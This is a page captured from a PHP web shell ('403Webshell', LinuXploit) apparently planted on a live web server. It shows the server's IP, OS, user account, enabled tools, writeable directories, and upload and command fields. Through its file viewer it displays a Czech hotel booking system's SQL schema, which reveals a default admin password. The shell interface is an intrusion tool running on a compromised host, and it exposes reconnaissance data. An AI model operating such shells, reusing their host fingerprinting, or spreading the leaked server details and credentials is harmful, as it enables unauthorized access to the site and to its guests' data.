403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotel_jservices_cz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotel_jservices_cz/schema.sql
-- ============================================================
--  Hotel DEMO — databázové schéma
--  MariaDB / MySQL, charset utf8mb4
--  Spustit jednorázově při instalaci
-- ============================================================

SET NAMES utf8mb4;
SET foreign_key_checks = 0;

-- ------------------------------------------------------------
--  UŽIVATELÉ A AUTENTIZACE
-- ------------------------------------------------------------

CREATE TABLE IF NOT EXISTS uzivatele (
    id                  INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    jmeno               VARCHAR(50)  NOT NULL,
    prijmeni            VARCHAR(50)  NOT NULL,
    login               VARCHAR(100) NOT NULL UNIQUE,
    email               VARCHAR(150) DEFAULT NULL,          -- povinné pro admin/manazer
    heslo_hash          VARCHAR(255) NOT NULL,
    role                ENUM('admin','manazer','zamestnanec') NOT NULL DEFAULT 'zamestnanec',
    aktivni             TINYINT(1)   NOT NULL DEFAULT 1,
    zmena_hesla_zakaz   TINYINT(1)   NOT NULL DEFAULT 0,    -- demo účet
    vytvoril_id         INT UNSIGNED DEFAULT NULL,           -- kdo vytvořil účet
    vytvoreno           DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP,
    posl_prihlaseni     DATETIME     DEFAULT NULL,
    CONSTRAINT fk_uzivatele_vytvoril
        FOREIGN KEY (vytvoril_id) REFERENCES uzivatele(id) ON DELETE SET NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_czech_ci;

CREATE TABLE IF NOT EXISTS uzivatel_session (
    id              INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    uzivatel_id     INT UNSIGNED NOT NULL,
    token           VARCHAR(64)  NOT NULL UNIQUE,
    zapamatovat     TINYINT(1)   NOT NULL DEFAULT 0,        -- 0 = 24h, 1 = 30 dní
    platnost_do     DATETIME     NOT NULL,
    vytvoreno       DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP,
    CONSTRAINT fk_session_uzivatel
        FOREIGN KEY (uzivatel_id) REFERENCES uzivatele(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS uzivatel_opravneni (
    id              INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    uzivatel_id     INT UNSIGNED NOT NULL,
    opravneni       VARCHAR(50)  NOT NULL,                  -- např. 'kartoteka', 'hodnoceni', 'trzby', 'storno'
    povoleno        TINYINT(1)   NOT NULL DEFAULT 0,
    UNIQUE KEY uq_uzivatel_opravneni (uzivatel_id, opravneni),
    CONSTRAINT fk_opravneni_uzivatel
        FOREIGN KEY (uzivatel_id) REFERENCES uzivatele(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Výchozí admin účet (heslo: změňte po první instalaci)
-- heslo_hash odpovídá heslu "Admin1234!" — ZMĚŇTE IHNED
INSERT INTO uzivatele (jmeno, prijmeni, login, email, heslo_hash, role, zmena_hesla_zakaz)
VALUES (
    'Administrátor', 'Systému', 'admin',
    'admin@vashotel.cz',
    '$2y$12$placeholder_zmente_heslo_ihned_po_instalaci_prosim',
    'admin', 0
) ON DUPLICATE KEY UPDATE id = id;

-- ------------------------------------------------------------
--  MICROSOFT OAUTH TOKENY (SMTP + GRAPH)
-- ------------------------------------------------------------

CREATE TABLE IF NOT EXISTS oauth_tokeny (
    id              INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    provider        VARCHAR(30)  NOT NULL UNIQUE,           -- 'microsoft' nebo 'microsoft_graph'
    access_token    TEXT         NOT NULL,
    refresh_token   TEXT         NOT NULL,
    expiry          DATETIME     NOT NULL,
    aktualizovano   DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- ------------------------------------------------------------
--  POKOJE A TYPY
-- ------------------------------------------------------------

CREATE TABLE IF NOT EXISTS typy_pokoju (
    id                  INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    nazev               VARCHAR(100) NOT NULL,
    kapacita            TINYINT UNSIGNED NOT NULL DEFAULT 2,    -- max. počet osob
    cena_za_noc         DECIMAL(10,2) NOT NULL,
    min_pobyt_noci      TINYINT UNSIGNED NOT NULL DEFAULT 1,
    popis               TEXT DEFAULT NULL,
    snidane_dostupne    TINYINT(1) NOT NULL DEFAULT 1,          -- 0 = apartmán s kuchyní
    aktivni             TINYINT(1) NOT NULL DEFAULT 1,
    poradi              TINYINT UNSIGNED NOT NULL DEFAULT 0
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_czech_ci;

CREATE TABLE IF NOT EXISTS pokoje (
    id          INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    typ_id      INT UNSIGNED NOT NULL,
    cislo       VARCHAR(10)  NOT NULL,                      -- např. "101", "202A"
    nazev       VARCHAR(100) DEFAULT NULL,                  -- volitelný název, např. "Zahradní pokoj"
    aktivni     TINYINT(1)   NOT NULL DEFAULT 1,
    poradi      TINYINT UNSIGNED NOT NULL DEFAULT 0,
    CONSTRAINT fk_pokoje_typ
        FOREIGN KEY (typ_id) REFERENCES typy_pokoju(id) ON DELETE RESTRICT
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_czech_ci;

-- ------------------------------------------------------------
--  DOPLŇKOVÉ SLUŽBY
-- ------------------------------------------------------------

CREATE TABLE IF NOT EXISTS doplnky (
    id              INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    nazev           VARCHAR(100)  NOT NULL,
    cena            DECIMAL(10,2) NOT NULL DEFAULT 0,
    typ_uctovani    ENUM('jednorazove','za_noc') NOT NULL DEFAULT 'jednorazove',
    kapacita        TINYINT UNSIGNED DEFAULT NULL,          -- NULL = neomezeno (parkování = 5 apod.)
    aktivni         TINYINT(1) NOT NULL DEFAULT 1,
    poradi          TINYINT UNSIGNED NOT NULL DEFAULT 0
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_czech_ci;

-- Výchozí doplňky
INSERT INTO doplnky (nazev, cena, typ_uctovani, kapacita, poradi) VALUES
    ('Snídaně',                    250.00, 'za_noc',      NULL, 1),
    ('Parkování',                  150.00, 'za_noc',      5,    2),
    ('Dobíjení elektrovozidel',    100.00, 'za_noc',      2,    3),
    ('Pozdní check-out (do 14:00)',300.00, 'jednorazove', NULL, 4)
ON DUPLICATE KEY UPDATE id = id;

-- ------------------------------------------------------------
--  REZERVACE
-- ------------------------------------------------------------

CREATE TABLE IF NOT EXISTS rezervace (
    id                          INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    pokoj_id                    INT UNSIGNED NOT NULL,
    datum_prijezdu              DATE         NOT NULL,
    datum_odjezdu               DATE         NOT NULL,
    pocet_noci                  TINYINT UNSIGNED NOT NULL,
    checkin_cas                 TIME         DEFAULT NULL,  -- NULL = výchozí z nastavení (14:00)
    checkout_cas                TIME         DEFAULT NULL,  -- NULL = výchozí z nastavení (10:00)
    checkin_zmenil_id           INT UNSIGNED DEFAULT NULL,
    checkout_zmenil_id          INT UNSIGNED DEFAULT NULL,

    -- Host
    jmeno                       VARCHAR(50)  NOT NULL,
    prijmeni                    VARCHAR(50)  NOT NULL,
    email                       VARCHAR(150) NOT NULL,
    telefon                     VARCHAR(20)  DEFAULT NULL,
    pocet_hostu                 TINYINT UNSIGNED NOT NULL DEFAULT 1,
    poznamka                    TEXT         DEFAULT NULL,

    -- Stav a cena
    stav                        ENUM('ceka','potvrzena','zrusena') NOT NULL DEFAULT 'ceka',
    cena_zaklad                 DECIMAL(10,2) NOT NULL,     -- cena z typu pokoje × noci (snapshot)
    cena_upravena               DECIMAL(10,2) DEFAULT NULL, -- admin override celkové ceny
    sleva_castka                DECIMAL(10,2) DEFAULT NULL,
    sleva_stav                  ENUM('navrzena','schvalena','zamitnuta') DEFAULT NULL,
    sleva_poznamka              VARCHAR(255) DEFAULT NULL,
    sleva_schvalil_id           INT UNSIGNED DEFAULT NULL,

    -- Tokeny a integrace
    token_zmena                 VARCHAR(64)  NOT NULL,      -- pro e-mailový odkaz na změnu
    ms_event_id                 VARCHAR(255) DEFAULT NULL,  -- Outlook Calendar event ID
    vytvoril_id                 INT UNSIGNED DEFAULT NULL,  -- NULL = zákazník sám přes web

    -- E-maily a hodnocení
    pripominka_odeslana         TINYINT(1) NOT NULL DEFAULT 0,
    hodnoceni_zadost_odeslana   TINYINT(1) NOT NULL DEFAULT 0,
    duvod_zruseni               VARCHAR(255) DEFAULT NULL,
    vytvoreno                   DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,

    CONSTRAINT fk_rezervace_pokoj
        FOREIGN KEY (pokoj_id) REFERENCES pokoje(id) ON DELETE RESTRICT,
    CONSTRAINT fk_rezervace_checkin_zmenil
        FOREIGN KEY (checkin_zmenil_id) REFERENCES uzivatele(id) ON DELETE SET NULL,
    CONSTRAINT fk_rezervace_checkout_zmenil
        FOREIGN KEY (checkout_zmenil_id) REFERENCES uzivatele(id) ON DELETE SET NULL,
    CONSTRAINT fk_rezervace_sleva_schvalil
        FOREIGN KEY (sleva_schvalil_id) REFERENCES uzivatele(id) ON DELETE SET NULL,
    CONSTRAINT fk_rezervace_vytvoril
        FOREIGN KEY (vytvoril_id) REFERENCES uzivatele(id) ON DELETE SET NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_czech_ci;

CREATE TABLE IF NOT EXISTS rezervace_doplnky (
    id              INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    rezervace_id    INT UNSIGNED NOT NULL,
    doplnek_id      INT UNSIGNED NOT NULL,
    nazev           VARCHAR(100) NOT NULL,       -- snapshot názvu v čase rezervace
    cena            DECIMAL(10,2) NOT NULL,      -- snapshot ceny za jednotku
    typ_uctovani    ENUM('jednorazove','za_noc') NOT NULL,
    pocet_noci      TINYINT UNSIGNED NOT NULL DEFAULT 1,
    cena_celkem     DECIMAL(10,2) NOT NULL,      -- cena × pocet_noci
    CONSTRAINT fk_rez_dopl_rezervace
        FOREIGN KEY (rezervace_id) REFERENCES rezervace(id) ON DELETE CASCADE,
    CONSTRAINT fk_rez_dopl_doplnek
        FOREIGN KEY (doplnek_id) REFERENCES doplnky(id) ON DELETE RESTRICT
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_czech_ci;

-- ------------------------------------------------------------
--  BLOKOVANÉ TERMÍNY
-- ------------------------------------------------------------

CREATE TABLE IF NOT EXISTS blokovane_terminy (
    id          INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    pokoj_id    INT UNSIGNED NOT NULL,
    datum_od    DATE         NOT NULL,
    datum_do    DATE         NOT NULL,
    duvod       VARCHAR(255) DEFAULT NULL,
    vytvoril_id INT UNSIGNED DEFAULT NULL,
    vytvoreno   DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP,
    CONSTRAINT fk_blokovane_pokoj
        FOREIGN KEY (pokoj_id) REFERENCES pokoje(id) ON DELETE CASCADE,
    CONSTRAINT fk_blokovane_vytvoril
        FOREIGN KEY (vytvoril_id) REFERENCES uzivatele(id) ON DELETE SET NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_czech_ci;

-- ------------------------------------------------------------
--  ZÁKAZNÍCI (kartotéka)
-- ------------------------------------------------------------

CREATE TABLE IF NOT EXISTS zakaznici (
    id          INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    jmeno       VARCHAR(50)  NOT NULL,
    prijmeni    VARCHAR(50)  NOT NULL,
    email       VARCHAR(150) NOT NULL UNIQUE,
    telefon     VARCHAR(20)  DEFAULT NULL,
    poznamka    TEXT         DEFAULT NULL,
    vytvoreno   DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_czech_ci;

-- ------------------------------------------------------------
--  HODNOCENÍ
-- ------------------------------------------------------------

CREATE TABLE IF NOT EXISTS hodnoceni (
    id              INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    rezervace_id    INT UNSIGNED NOT NULL UNIQUE,   -- jedno hodnocení na rezervaci
    hvezdicky       TINYINT UNSIGNED NOT NULL,       -- 1–5
    vytvoreno       DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
    CONSTRAINT fk_hodnoceni_rezervace
        FOREIGN KEY (rezervace_id) REFERENCES rezervace(id) ON DELETE CASCADE,
    CONSTRAINT chk_hodnoceni_hvezdicky
        CHECK (hvezdicky BETWEEN 1 AND 5)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- ------------------------------------------------------------
--  NASTAVENÍ
-- ------------------------------------------------------------

CREATE TABLE IF NOT EXISTS nastaveni (
    klic    VARCHAR(60)  NOT NULL PRIMARY KEY,
    hodnota TEXT         NOT NULL DEFAULT '',
    popis   VARCHAR(255) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_czech_ci;

INSERT INTO nastaveni (klic, hodnota, popis) VALUES
    -- Základní údaje hotelu
    ('hotel_nazev',             'Hotel DEMO',           'Název hotelu (zobrazuje se v e-mailech a UI)'),
    ('hotel_telefon',           '+420 000 000 000',     'Telefonní kontakt hotelu'),
    ('hotel_email',             'recepce@vashotel.cz',  'Kontaktní e-mail hotelu'),
    ('hotel_adresa',            'Ulice 1, 000 00 Město','Adresa hotelu'),
    ('hotel_web',               'https://vashotel.cz',  'Webová adresa hotelu'),
    -- Check-in / Check-out
    ('checkin_cas',             '14:00',                'Výchozí čas check-in'),
    ('checkout_cas',            '10:00',                'Výchozí čas check-out'),
    -- Rezervace
    ('rezervace_min_predem_dni','1',                    'Minimálně kolik dní dopředu lze rezervovat'),
    ('rezervace_storno_dni',    '3',                    'Počet dní před příjezdem pro bezplatné storno'),
    ('min_pobyt_noci',          '1',                    'Výchozí minimální délka pobytu (noci)'),
    -- Kapacity doplňků (lze přepsat přímo v tabulce doplnky)
    ('parkovani_kapacita',      '5',                    'Celkový počet parkovacích míst'),
    ('dobijeni_kapacita',       '2',                    'Celkový počet dobíjecích míst'),
    -- Připomínka před příjezdem
    ('pripominka_zapnuta',      '1',                    'Odesílat připomínku hostovi před příjezdem'),
    ('pripominka_hodin',        '48',                   'Kolik hodin před příjezdem odeslat připomínku'),
    -- Hodnocení
    ('hodnoceni_zapnuto',       '1',                    'Odesílat žádost o hodnocení po odjezdu'),
    ('hodnoceni_hodin_po',      '24',                   'Kolik hodin po odjezdu odeslat žádost o hodnocení'),
    ('hodnoceni_verejne',       '1',                    'Zobrazovat průměrné hodnocení na rezervační stránce'),
    -- Úvodní text na rezervační stránce
    ('uvodni_text',             'Vítejte! Rezervujte si pobyt online rychle a pohodlně.', 'Text na úvodní stránce rezervace'),
    -- Bankovní účet (pro QR platbu)
    ('cislo_uctu',              '',                     'Číslo účtu pro QR platbu (formát 1234567890/0800)')
ON DUPLICATE KEY UPDATE popis = VALUES(popis);

SET foreign_key_checks = 1;

-- ============================================================
--  Hotovo! Další kroky:
--  1. Změňte heslo admin účtu (UPDATE uzivatele SET heslo_hash = ... WHERE login = 'admin')
--  2. Vyplňte nastavení hotelu (UPDATE nastaveni SET hodnota = ... WHERE klic = ...)
--  3. Přidejte typy pokojů a pokoje přes admin rozhraní
-- ============================================================

Youez - 2016 - github.com/yon3zu
LinuXploit